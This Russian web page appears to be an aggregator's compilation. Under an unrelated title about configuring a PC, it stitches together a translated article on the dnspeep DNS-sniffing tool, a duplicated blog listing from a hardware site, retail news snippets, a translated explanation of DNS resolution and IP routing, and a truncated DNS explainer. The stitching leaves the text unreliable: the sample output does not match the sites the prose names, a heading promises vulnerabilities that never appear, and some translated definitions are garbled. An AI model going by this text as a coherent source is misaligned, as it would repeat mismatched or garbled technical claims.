Нажмите "Enter", чтобы перейти к содержанию

Собрать компьютер в днс: Как собрать компьютер онлайн в конфигураторе ДНС

Содержание

Инструмент для отслеживания DNS-запросов: dnspeep / Хабр

Недавно я создала небольшой инструмент под названием dnspeep, который позволяет понять, какие DNS-запросы отправляет ваш компьютер и какие ответы он получает. Всего мой код занял 250 строк на Rust. В этой статье я расскажу о коде, объясню, для чего он нужен, почему в нём возникла необходимость, а также расскажу о некоторых проблемах, с которыми я столкнулась при его написании. И, конечно, вы сами сможете попробовать код в действии.


Что нужно для начала работы с кодом

Чтобы было удобнее работать с кодом, я подготовила несколько бинарных файлов.

Команды для Linux (x86):

wget https://github.com/jvns/dnspeep/releases/download/v0.1.0/dnspeep-linux.tar.gz
tar -xf dnspeep-linux.tar.gz
sudo ./dnspeep

Команды для Mac:

wget https://github.com/jvns/dnspeep/releases/download/v0.1.0/dnspeep-macos.tar.gz
tar -xf dnspeep-macos.tar.gz
sudo ./dnspeep

Коду необходим доступ ко всем отправляемым компьютером пакетам DNS, поэтому его необходимо запускать от имени root. По этой же причине утилиту tcpdump также нужно запускать от имени root: код использует libpcap — ту же библиотеку, что и tcpdump. Если вам по какой-либо причине не захочется загружать бинарные файлы и запускать их от имени root, вы можете воспользоваться моим исходным кодом и создать на его основе собственный.

Что получается в результате

Каждая строка представляет собой DNS-запрос и соответствующий запросу ответ.

$ sudo dnspeep
query   name                 server IP      response
A       firefox.com          192.168.1.1    A: 44.235.246.155, A: 44.236.72.93, A: 44.236.48.31
AAAA    firefox.com          192.168.1.1    NOERROR
A       bolt.dropbox.com     192.168.1.1    CNAME: bolt.v.dropbox.com, A: 162.125.19.131

Эти запросы отражают мои визиты на сайт neopets.com в браузере, а запрос bolt.dropbox.com возник потому, что у меня запущен агент Dropbox, и, как я полагаю, время от времени он заходит на свой сайт для синхронизации.

Зачем создавать ещё один инструмент DNS?

Я считаю, что в таком инструменте есть смысл, так как с его помощью можно лучше представить, как работает DNS — без этого инструмента довольно сложно понять, как ведёт себя DNS на компьютере.

Ваш браузер (и другие компьютерные программы) постоянно отправляет DNS-запросы. Если знать, какие запросы отправляет компьютер и какие ответы он получает, можно получить более реальную картину «жизни» компьютера.

Написанный мною код я также использую как инструмент отладки. На вопросы типа: «А не связана ли моя проблема с DNS?» ответить иногда бывает довольно сложно. Пользователи, не зная всей информации, зачастую, чтобы найти проблему, используют метод проб и ошибок или просто строят догадки, хотя, казалось бы, стоит просто проанализировать ответы на получаемые компьютером DNS-запросы, и проблема будет решена.

Можно увидеть, какое программное обеспечение «тайно» выходит в Интернет

Мне нравится в этом инструменте, что он даёт представление о том, какие программы моего компьютера пользуются Интернетом! Например, я обнаружила, что какая-то утилита на моём компьютере время от времени по непонятной причине отправляет запросы на ping.manjaro.org, вероятно, чтобы проверить, подключён ли мой компьютер к Интернету.

Один мой приятель с помощью этого инструмента обнаружил, что на его компьютере было установлено корпоративное ПО для мониторинга, которое он просто забыл удалить, когда увольнялся с прошлого места работы.

Если вы раньше не работали с tcpdump, поначалу может быть непонятно, что делает эта утилита

Рассказывая людям об отправляемых с компьютера DNS-запросах, я почти всегда хочу добавить: «Всю информацию можно получить через tcpdump!» Что делает утилита tcpdump? Она осуществляет разбор пакетов DNS! Например, вот как выглядит DNS-запрос incoming.telemetry.mozilla.org.:

11:36:38.973512 wlp3s0 Out IP 192.168.1.181.42281 > 192.168.1.1.53: 56271+ A? incoming.telemetry.mozilla.org. (48)
11:36:38.996060 wlp3s0 In  IP 192.168.1.1.53 > 192.168.1.181.42281: 56271 3/0/0 CNAME telemetry-incoming.r53-2.services.mozilla.com., CNAME prod.data-ingestion.prod.dataops.mozgcp.net., A 35.244.247.133 (180)

Сначала эта информация может показаться «тёмным лесом», но её при некоторых навыках можно научиться читать. Давайте для примера разберём такой запрос:

192.168.1.181.42281 > 192.168.1.1.53: 56271+ A? 
incoming.telemetry.mozilla.org. (48)
  • A? означает DNS-запрос типа A;

  • incoming.telemetry.mozilla.org. — это имя объекта, к которому осуществляется запрос;

  • 56271 — это идентификатор DNS-запроса;

  • 192.168.1.181.42281 — исходный IP/порт;

  • 192.168.1.1.53 — IP/порт назначения;

  • (48) — длина DNS-пакета.

Ответ выглядит следующим образом:

56271 3/0/0 CNAME telemetry-incoming.r53-2.services.mozilla.com., 
CNAME prod.data-ingestion.prod.dataops.mozgcp.net., A 
35.244.247.133 (180)
  • 3/0/0 — количество записей в ответе: 3 ответа, 0 полномочий, 0 дополнительно. Исходя из моего опыта, tcpdump выводит только количество ответов на запрос.

  • CNAME telemetry-incoming.r53-2.services.mozilla.com, CNAME prod.data-ingestion.prod.dataops.mozgcp.net. и A 35. 244.247.133 — это те самые три ответа

  • 56271 — идентификатор ответов, соответствующий идентификатору запроса. По этому идентификатору можно понять, что это ответ на запрос из предыдущей строки.

С таким форматом, конечно, работать довольно сложно, ведь человеку нужно просто посмотреть на трафик DNS, к чему все эти нагромождения? И вот ему приходится вручную сопоставлять запросы и ответы, к тому же не всегда находящиеся на соседних строках. Здесь в дело вступают компьютерные возможности!

Я решила написать небольшую программку — dnspeep, которая будет сама выполнять такое сопоставление, а также удалять определённую (на мой взгляд, лишнюю) информацию.

Проблемы, с которыми я столкнулась при написании кода

При написании кода я столкнулась с рядом проблем.

  • Мне пришлось несколько изменить библиотеку pcap, чтобы заставить её правильно работать с Tokio на Mac OS — вот эти изменения. Это была одна из тех ошибок, на поиск которой ушло много часов, а всё исправление уложилось в одну строку.

  • Разные дистрибутивы Linux, по всей видимости, используют разные версии libpcap.so, поэтому мне не удалось воспользоваться непосредственно бинарным файлом, динамически компонующим libpcap (у других пользователей возникала такая же проблема, например здесь). Поэтому компилировать библиотеки libpcap в инструмент на Linux мне пришлось статически. Я до сих пор не понимаю, как такое правильно организовать на Rust, но я добилась, чего хотела, и всё заработало — я скопировала файл libpcap.a в каталог target/release/deps, а затем просто запустила cargo build.

  • Используемая мною библиотека dns_parser поддерживает не все типы DNS-запросов, а только некоторые самые распространённые. Возможно, для разбора DNS-пакетов можно было использовать другую библиотеку, но я не нашла подходящей.

  • Поскольку интерфейс библиотеки pcap выдает набор «голых» байтов (в том числе для данных Ethernet-фреймов), мне пришлось написать код, который определял, сколько байтов нужно отсечь от начала строки, чтобы получить IP-заголовок пакета. Но я уверена, что в моей задаче ещё остались «подводные камни».

Кстати, вы даже не представляете, каких сложностей мне стоило подобрать название для своей утилиты — ведь инструментов для работы с DNS великое множество, и у каждого своё название (dnsspy! dnssnoop! dnssniff! dnswatch!) Сначала я хотела включить в название слово spy (шпион) или его синонимы, а затем остановилась на показавшемся мне забавным названии, которое — о чудо! — ещё никто не занял для собственного DNS-инструмента.

У моей утилиты есть один недостаток: она не сообщает, какой именно процесс отправил DNS-запрос, но выход есть — используйте инструмент dnssnoop. Этот инструмент работает с данными eBPF. Судя по описанию, он должен работать нормально, но я его ещё не пробовала.

В моём коде наверняка ещё много ошибок

Мне удалось его протестировать только на Linux и Mac, и я уже знаю как минимум об одной ошибке (из-за того, что поддерживаются не все DNS-запросы). Если найдёте ошибку, пожалуйста, сообщите мне!

Сами по себе ошибки не опасны — интерфейс libpcap доступен только для чтения, самое худшее, что может случиться, — он получит какие-то непонятные данные и выдаст ошибку или аварийно завершит работу.

Мне нравится составлять небольшие учебные материалы

В последнее время я получаю огромное удовольствие от написания небольших учебных материалов по DNS. Вот ссылки на мои предыдущие статьи:

  • Простой способ составления DNS-запросов;

  • Рассказывается, что происходит внутри компьютера при отправке DNS-запроса;

  • Ссылка на dnspeep.

Ранее в своих постах я просто объясняла, как работают существующие инструменты (например dig или tcpdump), а если и писала собственные инструменты, то довольно редко. Но сейчас для меня очевидно, что выходные данные этих инструментов довольно туманны, их сложно понять, поэтому мне захотелось создать более дружественные варианты просмотра такой информации, чтобы не только гуру tcpdump, но любые другие пользователи могли понять, какие DNS-запросы отправляет их компьютер.

А если вы хотите не только понимать, что происходит с запросами и ответами DNS на вашем компьютере, но и писать собственные протоколы для своих приложений, обратите внимание на профессии C++ разработчик или Java-разработчик, позволяющие с нуля освоить эти языки или прокачать своё владение ими. Приходите — опытные менторы и эксперты своего дела с удовольствием поделяться с вами своими знаниями.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

  • Профессия Data Scientist

  • Профессия Data Analyst

  • Курс по Data Engineering

Другие профессии и курсы

ПРОФЕССИИ

  • Профессия Fullstack-разработчик на Python

  • Профессия Java-разработчик

  • Профессия QA-инженер на JAVA

  • Профессия Frontend-разработчик

  • Профессия Этичный хакер

  • Профессия C++ разработчик

  • Профессия Разработчик игр на Unity

  • Профессия Веб-разработчик

  • Профессия iOS-разработчик с нуля

  • Профессия Android-разработчик с нуля

КУРСЫ

  • Курс по Machine Learning

  • Курс «Machine Learning и Deep Learning»

  • Курс «Математика для Data Science»

  • Курс «Математика и Machine Learning для Data Science»

  • Курс «Python для веб-разработки»

  • Курс «Алгоритмы и структуры данных»

  • Курс по аналитике данных

  • Курс по DevOps

Overclockers.

ru — Новости, статьи и блоги

Б Zystax 28 октября 2022

Среди стратегий, выпущенных за последние 25 лет, есть много хитов, не уступающих Warcraft III, StarCraft II или Age of Empires II, но незаслуженно забытых.

рекомендации

Б Zelot 27 октября 2022

МИД России полон решимости, но пока не готов на эскалацию конфликта и призывает западные страны перестать использовать гражданские спутники в военных целях

Б [Zero] 27 октября 2022

Рассказываю о том, как выбрать флешку в 2022 или 2023 году, и на какие параметры обращать внимание в первую очередь

Б Chimbal 27 октября 2022

Так как значительные работы над корпусом уже проделаны, было решено собрать и оптимизировать свою MicroATX систему, прежде всего перебрал 2U радиатор охлаждения ЦП, ибо заводской вариант мне не понравился.

Б Madarator 27 октября 2022

И у нее (противовоздушной обороны Украины) на это «пять причин». Мы разберемся с каждой. И да, укажем кого нужно «бояться» Герани

Б Dante1980 27 октября 2022

На что потратить свои кровные, когда финансов кот наплакал. Видеокарта, о которой все забыли. Видеокарта, способная удивлять

Б Leshiy2371 26 октября 2022

В данной статье будет проведено исследование на предмет оптимизации в игре Дьябло 3, чтобы понять, чего нам стоит ожидать в Diablo lV. Заранее приготовьтесь — портянка будет знатная.

Б Zelot 26 октября 2022

У Ирана есть целый ряд разработок с дальностью до 2000 километров, а ключевая особенность — это низкая стоимость и простота использования

Р Максим Романов 26 октября 2022

Самый дорогой и быстрый Super HEDT процессор Intel против актуального флагмана HEDT, а также против лидеров сегодняшнего дня: AMD Ryzen 9 7950X и Intel Core i9-13900K. Будет Очень Жарко!

Б [Zero] 26 октября 2022

Рассказываю о 12 неплохих, хороших или отличных шасси, позволяющих собрать в 2022 или 2023 году геймерскую конфигурацию любого уровня

Б BinguPlus 26 октября 2022

Рассуждаем о причинах провала второсортных переизданий, проходных ремастеров и ремейков

Теги дня risc v aosp xppen striking distance studios gothic ii ford motor call of duty modern warfare ii отечественное по downdetector санкции Все теги

Б wwr222 25 октября 2022

Сегодня я расскажу о тех играх, на которые я хотел сделать обзоры, но по тем или иным причинам, этого не произошло. ..

Б Alex-IT 25 октября 2022

Многим из нас знакома вселенная Ведьмака, но мало кто задумывался над тем, что красивая сказка может оказаться вовсе не сказкой, а самой настоящей былью. Далее мы рассмотрим, почему ведьмаки могли существовать на самом деле. И что общего они имели с персонажами Анджея Сапковского.

Б [Zero] 24 октября 2022

Рассказываю о том, какие предметы, на мой взгляд, должны быть у каждого, кто гордо называет себя компьютерщиком (не путать с компьютерным мастером)

Б Chimbal 24 октября 2022

Смотря на турбину я однажды задумался, а что буду делать если она выйдет из строя? С этого момента было решено сделать универсальное отверстие в компактном MicroATX корпусе для установки как турбин формата 7530, так и классических 80 мм вентиляторов.

Б Zystax 24 октября 2022

При сборке игрового ПК очень важно соблюсти баланс между производительностью процессора и видеокарты. Если этого не сделать, можно потратить деньги зря и получить ПК, который фризит и тормозит.

Б DenebCore 23 октября 2022

Компания Nvidia выпустила замечательную в плане производительности видеокарту RTX4090. Однако, изделие зеленой компании имеет и ряд серьезных технических недостатков, которые могут привести к поломке графического ускорителя в будущем. А значит приобретать видеокарту можно только с длительной гаранти…

Б Zystax 23 октября 2022

Если на вашем ПК установлено 30 новых игр, но вы не прошли ни одной за последний год, а от былой радости и азарта, который давали игры на ПК, не осталось и следа, то не спешите отчаиваться.

Б Zelot 23 октября 2022

Газовые хранилища Европы заполнены на 94%, вот только газ там принадлежит бизнесменам из США и Британии

Б Артур396 23 октября 2022

Освежите в памяти события Call of Duty: Modern Warfare, прежде чем приступить к прохождению Modern Warfare 2.

Б Ёж Обыкновенный 23 октября 2022

Существуют люди, которые не любят тратить деньги на различные игры, а играть хотят. В этой и других частях данного блога я постараюсь помочь этим людям, создав список хороших бесплатных игр и рассказав о своём первом впечатлении при игре в них.

Б [Zero] 23 октября 2022

Рассказываю о семи лучших HDD для скачивания и раздачи торрентов, а также организации файлохранилища, например, с личной медиаколлекцией

Б wwr222 23 октября 2022

Рассказ носит развлекательный характер. Все персонажи и события выдуманы. Любое совпадение с реальностью носит случайный характер…

Б Zelot 23 октября 2022

GeForce RTX 4090 обязывает, ведь самая быстрая видеокарта на планете потребует от вас очень немалых инвестиций, ну а мы попытаемся собрать систему без излишеств

Б Alex-IT 22 октября 2022

По данным независимых экспертов, ВСУ применяют на Украине более 6 тысяч беспилотников различных моделей. Рассмотрим какие именно аппараты они используют и по возможности выясним их слабые стороны.

Б ddr22 22 октября 2022

Игровой процесс претерпел весьма существенные изменения по сравнению с Dead Space 2. Игроку стали доступны приседания, появилась возможность прятаться за укрытиями.

Б Артур396 22 октября 2022

Кратос и Атрей возвращаются в увлекательное приключение, которое заканчивается миром.

Б Zelot 22 октября 2022

Назвать реальную стоимость дрона-камикадзе невозможно, но если попытаться сложить стоимость отдельных комплектующих, то всё становится на свои места

Б WildHornet 22 октября 2022

Как будет выглядеть самая дешёвая сборка компьютера, если брать комплектующие не на авито или алиэкспрессе, а в магазине известных сетевых продавцов электроники? Или можно просто взять и купить готовый системный блок? Хватит ли его для типичных рабочих задач? Собираем «виртуальный системник» и ср…

Б Zelot 22 октября 2022

К сожалению, цены оставляют желать лучшего. Давайте подумаем, сколько на самом деле должна стоить та или иная видеокарта в магазинах РФ

Б wwr222 22 октября 2022

Я решил «ускорить» старый ноутбук Samsung 350V5C-S0Z (NP350V5C-S0ZRU). Для этого понадобилось купить SSD накопитель и переустановить операционную систему…

Б Zystax 28 октября 2022

Среди стратегий, выпущенных за последние 25 лет, есть много хитов, не уступающих Warcraft III, StarCraft II или Age of Empires II, но незаслуженно забытых.

Б Zelot 27 октября 2022

МИД России полон решимости, но пока не готов на эскалацию конфликта и призывает западные страны перестать использовать гражданские спутники в военных целях

Б [Zero] 27 октября 2022

Рассказываю о том, как выбрать флешку в 2022 или 2023 году, и на какие параметры обращать внимание в первую очередь

Б Chimbal 27 октября 2022

Так как значительные работы над корпусом уже проделаны, было решено собрать и оптимизировать свою MicroATX систему, прежде всего перебрал 2U радиатор охлаждения ЦП, ибо заводской вариант мне не понравился.

Б Madarator 27 октября 2022

И у нее (противовоздушной обороны Украины) на это «пять причин». Мы разберемся с каждой. И да, укажем кого нужно «бояться» Герани

Б Dante1980 27 октября 2022

На что потратить свои кровные, когда финансов кот наплакал. Видеокарта, о которой все забыли. Видеокарта, способная удивлять

Б Leshiy2371 26 октября 2022

В данной статье будет проведено исследование на предмет оптимизации в игре Дьябло 3, чтобы понять, чего нам стоит ожидать в Diablo lV. Заранее приготовьтесь — портянка будет знатная.

Б Zelot 26 октября 2022

У Ирана есть целый ряд разработок с дальностью до 2000 километров, а ключевая особенность — это низкая стоимость и простота использования

Б [Zero] 26 октября 2022

Рассказываю о 12 неплохих, хороших или отличных шасси, позволяющих собрать в 2022 или 2023 году геймерскую конфигурацию любого уровня

Б BinguPlus 26 октября 2022

Рассуждаем о причинах провала второсортных переизданий, проходных ремастеров и ремейков

Б wwr222 25 октября 2022

Сегодня я расскажу о тех играх, на которые я хотел сделать обзоры, но по тем или иным причинам, этого не произошло…

Теги дня risc v aosp xppen striking distance studios gothic ii ford motor call of duty modern warfare ii отечественное по downdetector санкции Все теги

Б Alex-IT 25 октября 2022

Многим из нас знакома вселенная Ведьмака, но мало кто задумывался над тем, что красивая сказка может оказаться вовсе не сказкой, а самой настоящей былью. Далее мы рассмотрим, почему ведьмаки могли существовать на самом деле. И что общего они имели с персонажами Анджея Сапковского.

Б [Zero] 24 октября 2022

Рассказываю о том, какие предметы, на мой взгляд, должны быть у каждого, кто гордо называет себя компьютерщиком (не путать с компьютерным мастером)

Б Chimbal 24 октября 2022

Смотря на турбину я однажды задумался, а что буду делать если она выйдет из строя? С этого момента было решено сделать универсальное отверстие в компактном MicroATX корпусе для установки как турбин формата 7530, так и классических 80 мм вентиляторов.

Б Zystax 24 октября 2022

При сборке игрового ПК очень важно соблюсти баланс между производительностью процессора и видеокарты. Если этого не сделать, можно потратить деньги зря и получить ПК, который фризит и тормозит.

Б DenebCore 23 октября 2022

Компания Nvidia выпустила замечательную в плане производительности видеокарту RTX4090. Однако, изделие зеленой компании имеет и ряд серьезных технических недостатков, которые могут привести к поломке графического ускорителя в будущем. А значит приобретать видеокарту можно только с длительной гаранти…

Б Zystax 23 октября 2022

Если на вашем ПК установлено 30 новых игр, но вы не прошли ни одной за последний год, а от былой радости и азарта, который давали игры на ПК, не осталось и следа, то не спешите отчаиваться.

Б Zelot 23 октября 2022

Газовые хранилища Европы заполнены на 94%, вот только газ там принадлежит бизнесменам из США и Британии

Б Артур396 23 октября 2022

Освежите в памяти события Call of Duty: Modern Warfare, прежде чем приступить к прохождению Modern Warfare 2.

Б Ёж Обыкновенный 23 октября 2022

Существуют люди, которые не любят тратить деньги на различные игры, а играть хотят. В этой и других частях данного блога я постараюсь помочь этим людям, создав список хороших бесплатных игр и рассказав о своём первом впечатлении при игре в них.

Б [Zero] 23 октября 2022

Рассказываю о семи лучших HDD для скачивания и раздачи торрентов, а также организации файлохранилища, например, с личной медиаколлекцией

Б wwr222 23 октября 2022

Рассказ носит развлекательный характер. Все персонажи и события выдуманы. Любое совпадение с реальностью носит случайный характер…

Б Zelot 23 октября 2022

GeForce RTX 4090 обязывает, ведь самая быстрая видеокарта на планете потребует от вас очень немалых инвестиций, ну а мы попытаемся собрать систему без излишеств

Б Alex-IT 22 октября 2022

По данным независимых экспертов, ВСУ применяют на Украине более 6 тысяч беспилотников различных моделей. Рассмотрим какие именно аппараты они используют и по возможности выясним их слабые стороны.

Б ddr22 22 октября 2022

Игровой процесс претерпел весьма существенные изменения по сравнению с Dead Space 2. Игроку стали доступны приседания, появилась возможность прятаться за укрытиями.

Б Артур396 22 октября 2022

Кратос и Атрей возвращаются в увлекательное приключение, которое заканчивается миром.

Б Zelot 22 октября 2022

Назвать реальную стоимость дрона-камикадзе невозможно, но если попытаться сложить стоимость отдельных комплектующих, то всё становится на свои места

Б WildHornet 22 октября 2022

Как будет выглядеть самая дешёвая сборка компьютера, если брать комплектующие не на авито или алиэкспрессе, а в магазине известных сетевых продавцов электроники? Или можно просто взять и купить готовый системный блок? Хватит ли его для типичных рабочих задач? Собираем «виртуальный системник» и ср. ..

Б Zelot 22 октября 2022

К сожалению, цены оставляют желать лучшего. Давайте подумаем, сколько на самом деле должна стоить та или иная видеокарта в магазинах РФ

Б wwr222 22 октября 2022

Я решил «ускорить» старый ноутбук Samsung 350V5C-S0Z (NP350V5C-S0ZRU). Для этого понадобилось купить SSD накопитель и переустановить операционную систему…

Флешки с российской ОС Simply Linux поступили в розничную продажу

Ситилинк: россияне переходят на бытовую технику собственных торговых марок

Умные видеокамеры от Ростелекома появились в Ситилинке

Ситилинк: Российские компании переходят на отечественное

В Ситилинке появилась линейка ноутбуков с российской ОС Astra Linux

ASUS представляет двухсекционный компьютерный корпус TUF Gaming GT502

Ситилинк выяснил, какие модели нового iPhone наиболее интересны

В Ситилинке стартовали продажи последней модели MacBook от Apple

Ситилинк открыл сбор заявок на новые модели Samsung — Galaxy Z Fold и Galaxy Z Flip

Ситилинк выяснил, какие видеокарты покупали в первой половине 2022 года

Возможно вас заинтересует

Система доменных имен

.

Как мой браузер узнает, откуда брать данные с сервера?

(Я опаздываю на эту вечеринку, но давайте посмотрим, что я могу с этим сделать.)

Вы спрашиваете о двух совершенно разных вещах: разрешении имен через DNS и IP-маршрутизации. Разберемся с ними по отдельности.

Часть DNS

Я знаю, что информация о DNS находится на DNS-сервере, но как мой компьютер узнает, где ее немедленно искать? Существуют ли DNS-серверы с фиксированными IP-адресами, которые автоматически ищет мой компьютер?

Как правило, клиентские компьютеры информируются об IP-адресах DNS-серверов, которые они должны использовать, посредством данных в «параметрах», предоставляемых им их DHCP-сервером (сервером, который предоставляет «аренду» неиспользуемого IP-адреса для клиент для использования).

Некоторые компьютеры не используют DHCP для получения IP-адреса, а вместо этого имеют статически назначенный IP-адрес. В случаях, когда компьютерам назначаются статические IP-адреса, IP-адреса DNS-серверов также статически назначаются в конфигурации компьютеров.

(Существуют более эзотерические методы передачи клиентам информации о DNS-сервере, но два приведенных выше метода охватывают более 90% случаев.)

Похоже, ваш компьютер находится в домашней сети и, вероятно, получает свой IP-адрес, DHCP-сервер, работающий либо на маршрутизаторе в вашей домашней сети, либо на DHCP-сервере вашего интернет-провайдера.

В случае домашнего маршрутизатора он получит IP-адрес от DHCP-сервера вашего интернет-провайдера и в процессе получения этого IP-адреса узнает IP-адрес(а) DNS-серверов, которые ваш интернет-провайдер намеревается вам предоставить. использовать. Некоторые домашние маршрутизаторы будут предоставлять адреса DNS-серверов интернет-провайдера клиентам DHCP-сервера маршрутизатора. Другие домашние маршрутизаторы сами будут запускать «мини» DNS-сервер и будут направлять DHCP-клиентов на свой собственный «мини» DNS-сервер. Обычно этот «мини» DNS-сервер просто перенаправляет запросы на DNS-серверы провайдера.

Если ваш компьютер подключен напрямую к сети интернет-провайдера без маршрутизатора, то, скорее всего, ваш компьютер получает IP-адреса DNS-серверов интернет-провайдера от DHCP-сервера интернет-провайдера.

IP-датаграммы содержат IP-адрес назначения, а не удобочитаемое имя. Для «общения» с удаленным сервером вашему компьютеру необходим IP-адрес этого удаленного сервера. Процесс «преобразования» удобочитаемого имени в IP-адрес (подходящий для включения в IP-датаграммы в качестве адреса назначения) называется прямым поиском DNS.

Я не буду приводить здесь полное описание рекурсивного прямого DNS-разрешения, но, по сути, ваш клиентский компьютер отправляет запрос на свой DNS-сервер (тот, о котором он узнал от DHCP или который настроен статически) на имя «www .serverfault.com». Этот запрос в конечном итоге попадет на DNS-сервер вашего интернет-провайдера. DNS-сервер вашего интернет-провайдера отправит запрос одному из известных «корневых DNS-серверов». Ответ, который возвращает корневой DNS-сервер, в свою очередь, направит запрос DNS-сервера интернет-провайдера к DNS-серверу «.com», а затем к DNS-серверу «serverfault.com». В конечном итоге DNS-сервер провайдера вернет ответ на ваш компьютер (возможно, через DNS-сервер в вашем домашнем маршрутизаторе, как упоминалось выше).

Если вас интересуют подробности, я бы посоветовал вам ознакомиться с некоторыми техническими описаниями работы протокола DNS.

Это позволяет нам ответить на часть вашего вопроса, связанную с DNS. Теперь давайте перейдем к части вопроса об IP-маршрутизации.

Часть IP-маршрутизации

Что заставляет его выбирать маршрут, который я вижу в маршруте трассировки?

Результатом всех этих DNS-запросов будет IP-адрес (или несколько IP-адресов, если быть техническим). Ваш браузер инициирует TCP-соединение с одним из адресов, возвращенных DNS-запросом. Это приведет к тому, что ваш компьютер отправит дейтаграмму IP (предназначенную для IP-адреса, возвращенного нашим предыдущим запросом DNS) на «шлюз по умолчанию», известный вашему компьютеру. Этот «шлюз по умолчанию» — не что иное, как IP-адрес другого компьютера (обычно маршрутизатора), которому ваш компьютер «отправляет» пакеты для доставки в Интернет. Предполагая, что вы используете Ethernet, особенности того, как ваш компьютер «передает» IP-датаграмму, включают протокол ARP и особенности, которые, вероятно, слишком глубоки для этого ответа.

Вы можете спросить: как ваш компьютер узнает IP-адрес шлюза по умолчанию?

Аналогично тому, как компьютеры получают адреса своих DNS-серверов от DHCP, компьютеры имеют свой «шлюз по умолчанию», предоставляемый им «опцией», полученной, когда IP-адрес «арендается» им от DHCP. Если компьютер имеет статически назначенный IP-адрес, то, как правило, его «шлюз по умолчанию» также будет назначен статически.

По сути, IP-маршрутизация — это игра, в которой пакеты передаются от одного компьютера (маршрутизаторов) к другому до тех пор, пока пакет не достигнет пункта назначения (или «умирает в попытках», если пакет пересылается слишком много раз). Каждый маршрутизатор имеет ряд сетевых интерфейсов, которые соединяют его с другими маршрутизаторами. Когда он получает пакет, маршрутизатор «решает», какой сетевой интерфейс будет «лучшим» для прохождения этого пакета, и после принятия этого «решения о маршрутизации» он передает пакет другому маршрутизатору через выбранный сетевой интерфейс. Этот процесс повторяется до тех пор, пока ваш пакет не достигнет пункта назначения.

В моем эпическом ответе о подсетях обсуждаются основы статической IP-маршрутизации. При статической IP-маршрутизации каждый маршрутизатор имеет статически назначенный список сетей назначения и понимает «смежность» сетей с сетевыми интерфейсами маршрутизатора. В Real Life статическая IP-маршрутизация TM не используется в больших сетях, потому что она слишком громоздка в обслуживании и не учитывает маршрутизацию в обход перегрузок или отказавших каналов.

Выполняемая вами «traceroute» показывает результаты решений маршрутизации, принятых маршрутизаторами на каждом «переходе» пути вашего пакета. Эти маршрутизаторы используют протоколы динамической маршрутизации, такие как протокол пограничного шлюза (BGP) или Open Shortest Path First (OSPF), чтобы принимать решения о том, как направить ваш пакет на другой маршрутизатор. Эти протоколы динамической маршрутизации могут учитывать такие факторы, как перегрузка или доступность канала, относительное «расстояние», которое ваш пакет будет проходить по каждому предполагаемому пути, и, возможно, другие факторы (включая «политические» факторы, такие как соглашения о пиринге), чтобы определить, куда идет ваш пакет. .

Специфика работы отдельных протоколов динамической маршрутизации выходит далеко за рамки этого ответа. К счастью, архитектура Интернета такова, что конечным точкам (например, вашему компьютеру или серверам на Serverfault.com) не нужно ничего знать о маршрутизации пакетов внутри «облака». До тех пор, пока все маршрутизаторы внутри сети работают по правильным правилам, пакеты будут доставляться (хотя IP допускает неупорядоченную доставку и потерю пакетов — протоколы более высокого уровня позаботятся об обработке таких случаев). Более того, новые протоколы динамической маршрутизации могут разрабатываться и внедряться внутри «облака», и ничего не нужно менять, чтобы все конечные точки могли воспользоваться преимуществами улучшенной маршрутизации.

Что такое DNS, как он работает + уязвимости

Блог о внутренней безопасности / Безопасность данных

Система доменных имен (DNS) — это Интернет-версия Желтых страниц. В старые времена, когда вам нужно было найти адрес компании, вы искали его в «Желтых страницах». DNS работает точно так же, за исключением того, что вам не нужно ничего искать: ваш компьютер, подключенный к Интернету, сделает это за вас. Так ваш компьютер узнает, как найти Google, ESPN.com или Varonis.com.

Для связи двух компьютеров в IP-сети протокол требует наличия IP-адреса. Думайте об IP-адресе как об адресе улицы — чтобы один компьютер «обнаружил» другой, ему нужно знать номер другого компьютера. Поскольку большинство людей лучше запоминают имена — www.varonis.com — чем числа — 104.196.44.111, им понадобилась компьютерная программа для преобразования имен в IP-адреса.

Узнайте о 5 основных угрозах удаленной безопасности для ваших сотрудников с помощью нашего бесплатного технического описания

Программа для преобразования имен в числа и наоборот называется «DNS» или «Система доменных имен», а компьютеры, на которых работает DNS, называются «DNS-серверами». Без DNS нам пришлось бы запоминать IP-адреса любого сервера, к которому мы хотели подключиться — неинтересно.

Как работает DNS

DNS настолько неотъемлемая часть Интернета, что важно понимать, как он работает.

Думайте о DNS как о телефонной книге, но вместо того, чтобы сопоставлять имена людей с их уличными адресами, телефонная книга сопоставляет имена компьютеров с IP-адресами. Каждое сопоставление называется «записью DNS».

В интернете много компьютеров, поэтому нет смысла сводить все записи в одну большую книгу. Вместо этого DNS организована в более мелкие книги или домены. Домены могут быть очень большими, поэтому они дополнительно организованы в более мелкие книги, называемые «зонами». Ни один DNS-сервер не хранит все книги — это было бы непрактично.

Вместо этого существует множество DNS-серверов, на которых хранятся все записи DNS для Интернета. Любой компьютер, который хочет узнать номер или имя, может запросить свой DNS-сервер, а его DNS-сервер знает, как запрашивать — или запрашивать — другие DNS-серверы, когда им нужна запись. Когда DNS-сервер запрашивает другие DNS-серверы, он делает «восходящий» запрос. Запросы для домена могут идти «вверх по течению», пока они не вернутся к авторитету домена или «авторитетному серверу имен».

Полномочный сервер имен — это место, где администраторы управляют именами серверов и IP-адресами своих доменов. Всякий раз, когда администратор DNS хочет добавить, изменить или удалить имя сервера или IP-адрес, он вносит изменения на своем полномочном DNS-сервере (иногда называемом «главным DNS-сервером»). Существуют также «подчиненные» DNS-серверы; эти DNS-серверы содержат копии записей DNS для своих зон и доменов.

Четыре DNS-сервера, которые загружают веб-страницу

  • Рекурсор DNS:  Рекурсор DNS — это сервер, который отвечает на запрос DNS и запрашивает адрес у другого DNS-сервера или уже имеет сохраненный IP-адрес сайта.
  • Корневой сервер имен :Корневой сервер имен — это сервер имен для корневой зоны. Он отвечает на прямые запросы и может вернуть список авторитетных серверов имен для соответствующего домена верхнего уровня.
  • Сервер имен TLD:  Доменный сервер верхнего уровня (TLD) — это один из DNS-серверов высокого уровня в Интернете. Когда вы ищете www.varonis.com, сначала ответит сервер TLD для «.com», затем DNS выполнит поиск «varonis».
  • Авторитетный сервер имен:  Авторитетный сервер имен является конечной остановкой для DNS-запроса. Полномочный сервер имен имеет DNS-запись для запроса.

Типы службы DNS

В Интернете существует два различных типа служб DNS. Каждая из этих служб обрабатывает DNS-запросы по-разному в зависимости от своей функции.

  • Рекурсивный преобразователь DNS: Рекурсивный преобразователь DNS — это DNS-сервер, который отвечает на запрос DNS и ищет полномочный сервер имен или кэшированный результат DNS для запрошенного имени.
  • Уполномоченный DNS-сервер: Уполномоченный DNS-сервер хранит DNS-запрос.
